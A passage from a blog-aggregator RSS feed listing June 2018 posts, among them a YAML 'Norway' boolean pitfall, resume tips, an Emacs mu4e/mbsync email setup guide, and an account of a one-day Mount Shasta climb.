16:22:25 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/anonymous-ppk-with-nacl/</guid></item><item><title>Logo brief tips</title><link>https://yasha.solutions/logo-brief-tips/</link><description/><author>Yasha Solutions</author><pubDate>Wed, 20 Jun 2018 15:04:15 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/logo-brief-tips/</guid></item><item><title>An OOP Problem</title><link>https://rjp.is/blogging/posts/an-oop-problem/</link><description>In which we flail about, object-orientedly.</description><author>infrequent oscillations</author><pubDate>Wed, 20 Jun 2018 14:15:54 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/an-oop-problem/</guid></item><item><title>Foreflight in Denmark</title><link>https://allanrbo.blogspot.com/2018/06/foreflight-in-denmark.html</link><description>I enjoy using the Foreflight app when flying in the US, and recently discovered that it can work very well in Europe as well. They have a &lt;a href="https://foreflight.com/support/user-content/"&gt;guide on how to import custom charts&lt;/a&gt;, and it turned out to be very easy. PDFs of aviation charts for Denmark can be downloaded from &lt;a href="https://aim.naviair.dk/"&gt;the AIM&lt;/a&gt; and converted via the tool described in Foreflights guide.&lt;br /&gt;
&lt;br /&gt;
Here are a few charts current as of June 2018. &lt;a href="http://acoby.com/aviationcharts/EK_Chart_ANC_DENMARK_front_en%202018.mbtiles"&gt;Denmark&lt;/a&gt;, &lt;a href="http://acoby.com/aviationcharts/EK_Chart_ANC_COPENHAGEN_AREA_en.mbtiles"&gt;Copenhagen Area&lt;/a&gt;, &lt;a href="http://acoby.com/aviationcharts/EK_AD_2_EKRK_VAC_en.mbtiles"&gt;Roskilde Visual Approach&lt;/a&gt;. Download these from Safari on your iPad, and it should prompt you to import them in Foreflight.</description><author>Allan's Blog</author><pubDate>Wed, 20 Jun 2018 10:18:26 GMT</pubDate><guid isPermaLink="true">https://allanrbo.blogspot.com/2018/06/foreflight-in-denmark.html</guid></item><item><title>The YAML-Norway Law</title><link>https://allan.reyes.sh/posts/yaml-norway-law/</link><description>&lt;p&gt;YAML Ain&amp;rsquo;t Markup Language (YAML) is a human-readable data serialization
language, and if you ever try to abbreviate &amp;ldquo;Norway,&amp;rdquo; you just might run into
a surprising outcome.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s an example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-yaml"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;NI&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;Nicaragua&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;NL&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;Netherlands&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;NO&lt;/span&gt;: &lt;span style="color: #ae81ff;"&gt;Norway&lt;/span&gt; &lt;span style="color: #75715e;"&gt;# boom!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Does it work? NO|No|no, but not &amp;ldquo;NO&amp;rdquo;. &lt;code&gt;NO&lt;/code&gt; is parsed as a boolean type, which
with the &lt;a href="http://yaml.org/type/bool.html"&gt;YAML 1.1 spec&lt;/a&gt;, there are 11 ways to say &lt;code&gt;false&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;n&lt;/li&gt;
&lt;li&gt;N&lt;/li&gt;
&lt;li&gt;no&lt;/li&gt;
&lt;li&gt;No&lt;/li&gt;
&lt;li&gt;NO&lt;/li&gt;
&lt;li&gt;false&lt;/li&gt;
&lt;li&gt;False&lt;/li&gt;
&lt;li&gt;FALSE&lt;/li&gt;
&lt;li&gt;off&lt;/li&gt;
&lt;li&gt;Off&lt;/li&gt;
&lt;li&gt;OFF&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The correction:&lt;/p&gt;</description><author>allan.reyes.sh</author><pubDate>Wed, 20 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://allan.reyes.sh/posts/yaml-norway-law/</guid></item><item><title>Know Your Tools</title><link>https://www.swyx.io/know-your-tools</link><description>&lt;blockquote&gt;
&lt;p&gt;Author's note: This is part 2 of a series of essays I originally drafted about &lt;a href="https://gist.github.com/sw-yx/9720bd4a30606ca3ffb8d407113c0fe5"&gt;Opinions for your Tech Career&lt;/a&gt;. Part 1 is &lt;a href="https://www.swyx.io/learn-in-public/"&gt;Learn in Public&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>swyx's site RSS Feed</author><pubDate>Wed, 20 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/know-your-tools</guid></item><item><title>An explanation of tech buzzwords, and why I like it</title><link>https://stop.zona-m.net/2018/06/an-explanation-of-tech-buzzwords-and-why-i-like-it/</link><description>&lt;p&gt;On March 22nd, 2018, prof. Arvind Narayanan &lt;a href="https://twitter.com/random_walker/status/976836626121977858"&gt;tweeted&lt;/a&gt; a great &amp;ldquo;explanation of tech-buzzwords&amp;rdquo;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 19 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/an-explanation-of-tech-buzzwords-and-why-i-like-it/</guid></item><item><title>Tips for a Great Resume</title><link>https://www.mikekasberg.com/blog/2018/06/19/tips-for-a-great-resume.html</link><description>&lt;p&gt;Your resume says a lot about you. Perhaps more than you think. I’ve looked at a
fair amount of resumes and when I read a resume, I’m not &lt;em&gt;only&lt;/em&gt; interested in
the experience that’s listed. I also look at how well the person communicates
their ideas in a clear and concise format. A well written and easy-to-read
resume can make a good first impression, and a poorly written resume can
definitely hurt you.&lt;/p&gt;

&lt;p&gt;Based on my experience - both reading resumes and writing my own - I’ve come up
with some simple tips to help you make sure your resume looks great and avoid
some pitfalls. And while my experience is centered around software engineering,
most of these tips will apply to other fields equally well.&lt;/p&gt;

&lt;h2 id="keep-it-to-a-page"&gt;Keep it to a page&lt;/h2&gt;

&lt;p&gt;When I interview someone, it’s actually a bit of a red flag for me if their
resume is longer than a single page. It tells me that they don’t know how to
filter out unimportant information and summarize the most important ideas. Also,
it’s not uncommon for me to have to skim through several resumes at once. And
when I’m skimming, I don’t always have time to read all 5 pages, so sometimes I
only look at the first page anyway. While there are always exceptions, most
people will be better off with a single-page resume.&lt;/p&gt;

&lt;p&gt;If your resume’s longer than a single page, consider what’s really
relevant to the job you’re applying for. Are the oldest items on your resume
still relevant? Can some details be removed there? Also, consider removing
details from more recent work if the information isn’t applicable to the
position you’re applying for.&lt;/p&gt;

&lt;h2 id="make-it-look-a-little-unique-but-keep-it-formal"&gt;Make it look a little unique (but keep it formal)&lt;/h2&gt;

&lt;p&gt;You want your resume to look like you put some time, thought, and effort into
it. Using Times New Roman with bold headings does none of these things.  You
probably won’t be eliminated for using the default MS Word font, but you won’t
stand out either. Essentially, you want to show your interviewer that you care
enough about your resume to make it look nice. Experiment with different fonts
and font sizes, and let your personality come out a little. A well-chosen
monospaced font can be a nice touch on a programmer’s resume. Both serif and
sans-serif fonts are OK, but make sure they look professional (not Comic Sans!).
Consider using a different font for your name or for headings throughout the
resume. If done well, this can help separate your headings from the rest of the
content, making your resume more readable.&lt;/p&gt;

&lt;h2 id="make-sure-its-easy-to-skim"&gt;Make sure it’s easy to skim&lt;/h2&gt;

&lt;p&gt;Speaking of readability, it’s not uncommon for an interviewer to have to look
through 5, 10, or even 20 resumes in a short amount of time. &lt;strong&gt;Make it easy&lt;/strong&gt;
for your interviewer to find the information they’re looking for quickly. Make
sure different sections (like &lt;em&gt;Education&lt;/em&gt;, &lt;em&gt;Experience&lt;/em&gt;, and &lt;em&gt;Skills&lt;/em&gt;) can be
found at a glance. And it should be easy to quickly skim job titles, companies,
and dates. Consistent formatting is the biggest factor that can improve (or
hinder) readability. If your dates are right-aligned in the &lt;em&gt;Education&lt;/em&gt; section,
they should also be right-aligned in the &lt;em&gt;Experience&lt;/em&gt; section.&lt;/p&gt;

&lt;h2 id="dont-be-sloppy"&gt;Don’t be sloppy&lt;/h2&gt;

&lt;p&gt;On the surface, it seems pretty easy (and obvious) to make sure your resume
doesn’t look sloppy. Don’t use square bullets in one section and round bullets
in another. Don’t use list numbers in one section and list letters in another.
Don’t highlight a couple too many characters when you hit the &lt;em&gt;italics&lt;/em&gt; button.&lt;/p&gt;

&lt;p&gt;In addition to the obvious stuff, make sure that MS Word (or whichever program
you’re using) lines things up the right way. In resumes, it’s pretty common to
have left-aligned and right-aligned text on the same line. Don’t use spaces to
separate left-aligned text from right-aligned text on the same line. &lt;a href="https://superuser.com/questions/1062359/having-some-text-align-left-and-other-align-right-in-same-line/"&gt;There’s a
proper way to do it&lt;/a&gt;,
and it looks bad when you don’t (because the right edge won’t line up exactly).&lt;/p&gt;

&lt;h2 id="in-conclusion"&gt;In Conclusion&lt;/h2&gt;

&lt;p&gt;There are articles all over the internet with resume basics and sample layouts.
I hope these tips go a little bit deeper than that, and inspire you to create a
great-looking and highly functional resume for your next job search.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Tue, 19 Jun 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2018/06/19/tips-for-a-great-resume.html</guid></item><item><title>How to prevent Jetty, deployed via Docker on AWS ECS, behind an AWS ELB, redirecting from secure HTTPS to insecure HTTP</title><link>https://www.databasesandlife.com/jetty-redirect-keep-https/</link><description>&lt;p&gt;So this is your setup. You&amp;rsquo;ve using Jetty to serve your web application, and you&amp;rsquo;re deploying it via Docker to AWS Elastic Container Service (ECS), and you place it behind an AWS Elastic Load Balancer (ELB). You aren&amp;rsquo;t living in the past so you enable HTTPS on the ELB. Your clients connect via HTTPS to the ELB, and the ELB connects to your application via HTTP internally to AWS.&lt;/p&gt;
&lt;p&gt;So the last thing you want is for users to receive a redirect &lt;strong&gt;from&lt;/strong&gt; secure HTTPS &lt;strong&gt;to&lt;/strong&gt; insecure HTTP. But that&amp;rsquo;s exactly what you&amp;rsquo;re seeing happening. Unfortunately HTTPS, AWS ELB, together with Apache or nginx or Tomcat or Jetty is &lt;strong&gt;broken by default&lt;/strong&gt;.&lt;/p&gt;</description><author>Databases &amp;amp; Life</author><pubDate>Tue, 19 Jun 2018 12:05:14 GMT</pubDate><guid isPermaLink="true">https://www.databasesandlife.com/jetty-redirect-keep-https/</guid></item><item><title>[STM32] - part 3 - Start your engine!</title><link>https://ciesie.com/post/stm32_part3/</link><description>&lt;p&gt;I think it&amp;rsquo;s time to go through what happens when you power on the &lt;strong&gt;STM32 Cortex-M&lt;/strong&gt; microcontroller.
There is a lot of resources on this topic (if you are reading this one&amp;hellip; thank you!).
I will explain this process in my own words.&lt;/p&gt;
&lt;p&gt;You have powered on your microcontroller. Less than a second has passed and it is already munching
through data, sending and receiving messages, controlling motors and blinking leds. In less than a
second (waaaay less) the micro sets everything up for it, to do everything you programmed it to do.
So what&amp;rsquo;s the process?&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Tue, 19 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/stm32_part3/</guid></item><item><title>Learn In Public</title><link>https://www.swyx.io/learn-in-public</link><description>&lt;p&gt;The fastest way to build your expertise, network, and second brain.&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Tue, 19 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/learn-in-public</guid></item><item><title>The unseen rudeness of WhatsApp and Telegram users</title><link>https://stop.zona-m.net/2018/06/the-unseen-rudeness-of-whatsapp-and-telegram-users/</link><description>&lt;p&gt;Actions that people would NEVER do in a non-digital world are today built into the tools they depend on every day.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 18 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/the-unseen-rudeness-of-whatsapp-and-telegram-users/</guid></item><item><title>Is Coding Style Important?</title><link>https://cmdev.com/blog/2018-06-18-codingstyle/</link><description>Have a style, any style</description><author>The Cranky Developer on Crater Moon Development</author><pubDate>Mon, 18 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://cmdev.com/blog/2018-06-18-codingstyle/</guid></item><item><title>Facebook and Google supporting Wikipedia. How NOT cool is that?</title><link>https://stop.zona-m.net/2018/06/facebook-and-google-supporting-wikipedia.-how-not-cool-is-that/</link><description>&lt;p&gt;For-profit corporations funding the only source of information for millions of people that they still don&amp;rsquo;t control? What could possibly go wrong?&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 17 Jun 2018 18:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/facebook-and-google-supporting-wikipedia.-how-not-cool-is-that/</guid></item><item><title>Bye Dad</title><link>https://philbooth.me/blog/bye-dad/</link><description>&lt;p&gt;&lt;img alt="Phil and his Dad sharing a drink, Boxing Day 2016" src="https://assets.philbooth.me/images/dad-672.jpg" /&gt;&lt;/p&gt;
&lt;div class="centered"&gt;
  &lt;p&gt;Richard Charles Maxwell Booth&lt;/p&gt;
  &lt;p&gt;&lt;em&gt;25&lt;sup&gt;th&lt;/sup&gt; June 1948&lt;/em&gt; - &lt;em&gt;17&lt;sup&gt;th&lt;/sup&gt; June 2018&lt;/em&gt;&lt;/p&gt;
&lt;/div&gt;</description><author>Phil Booth's Blog</author><pubDate>Sun, 17 Jun 2018 14:21:34 GMT</pubDate><guid isPermaLink="true">https://philbooth.me/blog/bye-dad/</guid></item><item><title>Trying out mu4e with mbsync</title><link>https://xenodium.com/trying-out-mu4e-with-mbsync</link><description>&lt;p&gt;The email fun in Emacs continues. After a few weeks since I &lt;a href="#trying-out-mu4e-and-offlineimap"&gt;started using mu4e and offlineimap&lt;/a&gt;, I'm sold. Both are awesome. &lt;a href="http://isync.sourceforge.net/mbsync.html"&gt;Mbsync&lt;/a&gt; is an &lt;a href="http://www.offlineimap.org/"&gt;offlineimap&lt;/a&gt; alternative. Despite resyncing all my mail, the transition was fairly smooth. Here's how…&lt;/p&gt;
&lt;h2&gt;Install isync (for mbsync)&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install isync
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configure mbsync&lt;/h2&gt;
&lt;p&gt;Mbsync uses &lt;code&gt;~/.mbsyncrc&lt;/code&gt; for configuration. Migrating &lt;a href="#trying-out-mu4e-and-offlineimap"&gt;~/.offlineimaprc&lt;/a&gt; to &lt;code&gt;~/.mbsyncrc&lt;/code&gt; looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;IMAPAccount Personal
Host some.imap.host.com
User your_user_name
PassCmd &amp;quot;gpg --quiet --batch -d ~/.offlineimap_accountname.gpg&amp;quot;
Port 993
SSLType IMAPS
AuthMechs Login
CertificateFile  ~/.offlineimapcerts.pem
# My IMAP provider doesn't handle concurrent IMAP commands.
PipelineDepth 1

IMAPStore Personal-remote
Account Personal

MaildirStore Personal-local
Path ~/IMAP/Personal/
Inbox ~/IMAP/Personal/INBOX

Channel Personal
Master :Personal-remote:
Slave :Personal-local:
Patterns *
Create Slave
Sync All
Expunge Both
SyncState *
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;No concurrent IMAP commands supported&lt;/h2&gt;
&lt;p&gt;My IMAP provider doesn't handle concurrent IMAP commands. &lt;a href="https://kdecherf.com/blog/2017/05/01/mbsync-and-office-365/"&gt;mbsync and Office 365&lt;/a&gt; had the answer:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;PipelineDepth 1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Initial sync&lt;/h2&gt;
&lt;p&gt;Run initial from the command line sync:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;mbsync -Va
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;While syncing my largest inbox, it sometimes received an unexpected EOF error:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;IMAP error: unexpected EOF from some.imap.host.com (1.2.3.4:993)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First few times, I restarted the syncing manually, but then used a loop to automatically restart it.&lt;/p&gt;
&lt;p&gt;Bash loops:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;while true; do mbsync -V Personal; sleep 5; done
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;for i in {1..5}; do mbsync -V Personal; sleep 5; done
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Eshell loop:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;for i in (number-sequence 1 10) {mbsync -V Personal; sleep 5}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Create mu index&lt;/h2&gt;
&lt;p&gt;Reindex using mu, but first remove existing index for offlineimap messages:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;rm -rf ~/.mu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, do index now:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;mu index --maildir=~/IMAP
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mu4e tweaks&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;get mail&lt;/em&gt; command should now point to mbsync.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(csetq mu4e-get-mail-command &amp;quot;mbsync -Va&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I had issues with duplicate IDs after moving and deleting messages from mu4e. &lt;a href="http://pragmaticemacs.com/emacs/migrating-from-offlineimap-to-mbsync-for-mu4e/"&gt;Migrating from offlineimap to mbsync for mu4e&lt;/a&gt; had the answer:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(csetq mu4e-change-filenames-when-moving t)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Helpful references&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://webgefrickel.de/blog/a-modern-mutt-setup"&gt;A modern mutt setup with neomutt, mbsync, msmtp and mu — part one | webgefrickel&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pragmaticemacs.com/emacs/migrating-from-offlineimap-to-mbsync-for-mu4e/"&gt;Migrating from offlineimap to mbsync for mu4e | Pragmatic Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://copyninja.info/blog/email_setup.html"&gt;My personal Email setup - Notmuch, mbsync, postfix and dovecot&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/jeremy-compostella/org-msg/blob/master/README.org"&gt;org-msg: Compose and reply to emails in a Outlook HTML friendly style&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ict4g.net/adolfo/notes/2014/12/27/EmacsIMAP.html"&gt;Reading IMAP Mail in Emacs on OSX&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 17 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/trying-out-mu4e-with-mbsync</guid></item><item><title>2018-06-17</title><link>https://ho.dges.online/pictures/2018-06-17/</link><description/><author>ho.dges.online</author><pubDate>Sun, 17 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-06-17/</guid></item><item><title>Sound &amp;amp; video for Youtube – 2 intro videos</title><link>https://yasha.solutions/sound-video-for-youtube-2-intro-videos/</link><description>Camcorder VS. DSLR for Video, YouTube and Vlogging?  Quick and Easy super effective DIY acoustic treatment panels for voiceover</description><author>Yasha Solutions</author><pubDate>Sat, 16 Jun 2018 13:06:45 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/sound-video-for-youtube-2-intro-videos/</guid></item><item><title>3 talks about HR and company culture</title><link>https://yasha.solutions/3-talks-about-hr-and-company-culture/</link><description>Leo Widrich (Buffer) – Building Company Culture: Radical Transparency &amp;amp; Experiments Lear Widrich is a the CEO of buffer. Buffer – if you have never heard – is a SaaS product that help you manage your social media publications. They have a pretty aggressively open culture of sharing with the world how they work and this is a really interesting talk, where you will hear about important things from a practitioner.</description><author>Yasha Solutions</author><pubDate>Sat, 16 Jun 2018 12:28:05 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/3-talks-about-hr-and-company-culture/</guid></item><item><title>Creating a user persona in a lean development context</title><link>https://yasha.solutions/creating-a-user-persona-in-a-lean-development-context/</link><description>Awesome talk.
I’ll add some organised notes in there later.
Meanwhile just watch the talk.
(Speaker is Adrian Howard)&amp;lt;div class=&amp;lsquo;avia-video avia-video-16-9 av-lazyload-immediate av-lazyload-video-embed ' itemprop=&amp;ldquo;video&amp;rdquo; itemtype=&amp;ldquo;https://schema.org/VideoObject&amp;quot; data-original_url=&amp;lsquo;https://www.youtube.com/watch?v=Z_XFltujnkE&amp;rsquo; &amp;gt;
 Just some quick notes while listening:
  WAP used to be a thing. I forgot about that.
  You are not the only one who produced made-up persona (you know, when you don’t talk to a customer before you do the persona – happens a lot especially when surrounded by the marketing folks)</description><author>Yasha Solutions</author><pubDate>Sat, 16 Jun 2018 12:09:02 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/creating-a-user-persona-in-a-lean-development-context/</guid></item><item><title>Is Wi-Fi "harmful"? No idea, but please discuss it in the right way</title><link>https://stop.zona-m.net/2018/06/is-wi-fi-harmful-no-idea-but-please-discuss-it-in-the-right-way/</link><description>&lt;p&gt;An paper published this year argues that Wi-Fi is harmful, in spite of previous studies claiming the contrary. Even if it is wrong, there is ONE sentence in that paper that EVERYBODY, scientist or not, should read and remember.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 16 Jun 2018 11:15:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/is-wi-fi-harmful-no-idea-but-please-discuss-it-in-the-right-way/</guid></item><item><title>Hinglish and Transliteration</title><link>https://trigonaminima.github.io/2018/06/hinglish-and-transliteration/</link><description>My friends and I recently created a group on Telegram, and so, we thought we should make a bot for fun. With all the useless functionalities in the bot there is also spelling correction. I’ll discuss the spelling corrector in a separate post, but right now I want to talk about Hinglish and transliteration. We have mixed uses of Hindi and English in our chats. Sometimes, our whole sentences are in English. Sometimes, it’s in Hindi. Sometimes, it’s a mixture of both - English and Hindi. The difference was not exactly clear when I started working on this, so let’s discuss how they differ.</description><author>Playground</author><pubDate>Sat, 16 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2018/06/hinglish-and-transliteration/</guid></item><item><title>Guess who may be testing new payment systems in India</title><link>https://stop.zona-m.net/2018/06/guess-who-may-be-testing-new-payment-systems-in-india/</link><description>&lt;p&gt;Two months ago I signalled that little or no regulation may leave a powerful company free to not only lock up emerging markets in Asia, but also to control, in the same areas, &lt;a href="https://stop.zona-m.net/2018/04/the-bright-planetary-next-billion-of-facebook-users/"&gt;new payment systems or distribution of information over mobile phones&lt;/a&gt;. That was two months ago.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sat, 16 Jun 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/guess-who-may-be-testing-new-payment-systems-in-india/</guid></item><item><title>Sticky function keys on touch bar</title><link>https://xenodium.com/sticky-function-keys-on-touch-bar</link><description>&lt;p&gt;Visible (and sticky) function keys are not the touch bar default for Emacs. Let's change that:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/sticky-function-keys-on-touch-bar/touchbar_function_keys.png" /&gt;&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Fri, 15 Jun 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sticky-function-keys-on-touch-bar</guid></item><item><title>How a tuna from Fiji confirmed my "blockchain for food" doubts</title><link>https://stop.zona-m.net/2018/06/how-a-tuna-from-fiji-confirmed-my-blockchain-for-food-doubts/</link><description>&lt;p&gt;I only saw today a post published a few weeks ago, titled &lt;a href="https://www.wired.com/story/following-a-tuna-from-fiji-to-brooklynon-the-blockchain"&gt;&amp;ldquo;Following a Tuna from Fiji to Brooklyn—on the Blockchain&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 14 Jun 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/06/how-a-tuna-from-fiji-confirmed-my-blockchain-for-food-doubts/</guid></item><item><title>Attempting to climb Mt Shasta in a single day</title><link>http://dimitarsimeonov.com/2018/06/14/attempting-to-climb-mt-shasta-in-a-single-day</link><description>&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta1.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;It’s quite a challenge to climb Mount Shasta. It’s an active volcano and as a result, it’s high and steep. At 14180 feet it is the fifth highest peak in California. With 3000 meters of vertical prominence over the nearby town of the same name, it stands like an Eiffel Tower over the surrounding area, except that the Shasta tower is ten times higher. According to Wikipedia, it is one of the one hundred most prominent peaks in the world
https://en.m.wikipedia.org/wiki/List_of_peaks_by_prominence&lt;/p&gt;

&lt;p&gt;Most people attempt to climb it over two days, via the Avalanche Gulch route. I like going light and knew it is possible to climb it in a day so I searched the internet for tips but didn’t find many good results, so I decided to write about my attempt.&lt;/p&gt;

&lt;h2 id="physical-conditioning"&gt;Physical conditioning&lt;/h2&gt;

&lt;p&gt;Climbing mount Shasta involves climbing 7,200 feet, from the Bunny Flat trailhead at 6,950 feet, all they way up to the summit at 14,180 feet, while carrying heavy boots, crampons, lots of water, ice axe, trekking poles and extra clothes. It requires a lot of endurance and conditioning.&lt;/p&gt;

&lt;p&gt;I consider myself in a pretty good shape but not anywhere near a competitive level. I’m not especially fast when running or cycling, but I have above average endurance. I’ve ran marathons (slowly) in the past, and I’ve done many cycling day trips on the order of 7-8 hours, as well as couple of multi day trips along the California coast.&lt;/p&gt;

&lt;p&gt;Two weeks before the climb, me and my partner did an 12 mile hike in about 4.5 hours, and the Monday before the hike we biked about 50 miles in about 5.5 hours. Both of these trips involved some decent elevation gain and we were aiming to do them at an “eager” pace.&lt;/p&gt;

&lt;h2 id="the-week-before"&gt;The week before&lt;/h2&gt;

&lt;p&gt;The days leading to the climb I took it easy in terms of exercise. I skipped my usual Brazilian Jui Jitsu and only did my morning routine of calisthenics and stretches that I do every day, which takes about 10-15 minutes. That rest, combined with sufficient sleep throughout the week really paid off when going up the elevation.&lt;/p&gt;

&lt;p&gt;I was also checking the weather forecast at this website https://www.wrh.noaa.gov/mfr/TextProduct.php?wfo=mfr&amp;amp;pil=REC&amp;amp;sid=MFR&amp;amp;version=0
The weather looked with great with 32F at the peak and only 6mph wind.&lt;/p&gt;

&lt;h2 id="driving-in"&gt;Driving in&lt;/h2&gt;

&lt;p&gt;We opted to arrive Thursday night and work remotely for a day. This helped us recover from the drive with a decent night of sleep. I find long drives tiring and had I driven the night before the climb I would have made my experience a lot more miserable.&lt;/p&gt;

&lt;p&gt;On Friday, June 1st I went to the trailhead to fill up the self-issued permits and did a short 30-40 minute minute hike around the trailhead to help with acclimatization. Went to sleep early night, around 9pm.&lt;/p&gt;

&lt;h2 id="bunny-flat-to-lake-helen"&gt;Bunny Flat to Lake Helen&lt;/h2&gt;

&lt;p&gt;On Saturday morning my alarm rang at 2:40am which gave me some time for a quick breakfast (almond butter, nuttela, sourdough toast) and light stretching which primed my body for the climb.
I was very excited to start climbing.&lt;/p&gt;

&lt;p&gt;At 4:12am we started marching from the Bunny Flat trailhead. That’s a bit of a late start, and if I were to do it again, I’d aim to start at 3am. That first part of the hike was completely dry until we reached Horse Camp, about 45 minutes in. We did a quick stop drink water and fill up some more bottles and were passed by another hiker, who had started shortly after us.&lt;/p&gt;

&lt;p&gt;We got slightly lost there, and instead of going on the causeway (big stones) we continued through the campground and slightly to the south of main path for half a mile or so until we rejoined the main tracks. For a while, it was dark enough that we can see trails of people climbing up towards the Red Banks with their headlights on.&lt;/p&gt;

&lt;p&gt;It soon became bright enough that we didn’t need the headlights any more.&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="http://dimitarsimeonov.com/assets/image/20180613_shasta/shasta2.jpeg" width="100%" /&gt;&lt;/p&gt;

&lt;p&gt;Around that time we reached the beginning of the snow, and brought out the trekking poles.&lt;/p&gt;

&lt;p&gt;Soon, the slope became steeper. We kept on chugging along, initially with a good pace. We met some other people. Some of them were climbing with skis and others were descending. An elderly gentleman that was coming down told us that there are pretty good snowsteps until Lake Helen and we don’t need crampons until then.&lt;/p&gt;

&lt;p&gt;After another hour or so, my partner started slowing down, and yawning. She hadn’t been able to get good rest and sleep in the upcoming week. At 7:15 we stopped, soon before Lake Helen for rest and breakfast. It felt very cold very fast. Up until then we had been climbing with very light clothing - just a t-shirt and a long sleeve thermal underwear. Within a couple of minutes of stopping I had to put on my down jacket on. I also put the helmet on at this time.&lt;/p&gt;

